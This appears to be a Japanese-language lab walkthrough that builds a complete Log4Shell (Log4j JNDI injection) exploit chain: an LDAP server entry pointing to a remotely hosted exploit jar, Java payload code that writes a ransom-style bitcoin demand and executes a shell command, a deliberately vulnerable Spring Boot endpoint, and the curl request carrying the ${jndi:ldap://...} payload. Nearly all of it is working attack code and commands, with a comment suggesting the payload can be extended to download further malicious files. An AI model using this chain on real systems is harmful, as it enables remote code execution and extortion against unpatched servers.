テスト
docker-compose.yml
version: '2'
services:
dockerdj:
image: openidentityplatform/opendj:latest
container_name: ldap
environment:
ROOT_USER_DN: "cn=han"
ROOT_PASSWORD: "han"
BASE_DN: "dc=bumbing,dc=xyz"
ports:
- "389:1389"
- "636:1636"
- "4444:4444"
volumes:
- "./opendj/logs:/opt/opendj/data/logs"
nginx:
image: nginx:latest
container_name: nginx
ports:
- "7080:80"
volumes:
- "./file:/usr/share/nginx/html:ro"
- "./conf/nginx.conf:/etc/nginx/nginx.conf"
docker-composeの実行
docker-compose up -d
add.ldif
version: 1
dn: dc=bumbing,dc=xyz
objectClass: domain
objectClass: top
dc: bumbing
dn: cn=log4j,dc=bumbing,dc=xyz
objectClass: javaContainer
objectClass: javaNamingReference
objectClass: javaObject
objectClass: top
cn: class
javaClassName: xyz.bumbing.log4j.Exploit
javaCodebase: http://{fileServer}:7080/exploit-1.jar
javaFactory: xyz.bumbing.log4j.Exploit
ハッキングファイル情報が含まれるEntryを追加するコマンド
ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
ldapテスト(パラメータの順序が重要)
curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
悪意のあるコード(他の悪意のあるファイルをダウンロードするコマンドを追加できます)
public class Exploit implements javax.naming.spi.ObjectFactory{
@Override
public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
try {
new File("/Users//test").createNewFile();
String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
StringBuilder sb = new StringBuilder();
sb.append(o.toString()).append("\n");
sb.append(name).append("\n");
sb.append(msg);
fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
fileOutputSteam.close();
} catch (IOException e) {
e.printStackTrace();
}
Runtime.getRuntime().exec("open /Users//test");
return null;
}
}
ビルドコマンド
./gradlew clean build
ローカルサーバーでない場合は、exploit-1.jarファイルをファイルサーバーのdocker/fileフォルダーにアップロードします
http://{fileServer}:7080/exploit-1.jar のダウンロードを確認します
Gradle構造
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'xyz.bumbing'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '8'
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-web'
compileOnly 'org.projectlombok:lombok'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
implementation "org.springframework.boot:spring-boot-starter-log4j2"
modules {
module("org.springframework.boot:spring-boot-starter-logging") {
replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
}
}
}
test {
useJUnitPlatform()
}
サーバーコード
@SpringBootApplication
@RestController
@Slf4j
public class Log4jtestApplication {
public static void main(String[] args) {
SpringApplication.run(Log4jtestApplication.class, args);
}
@GetMapping("/log4j")
public void test(String param, HttpServletRequest request){
log.info(request.getHeader("User-Agent"));
}
}
実行コマンド(8u191以前のバージョンでビルドおよび実行する必要があります)
java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'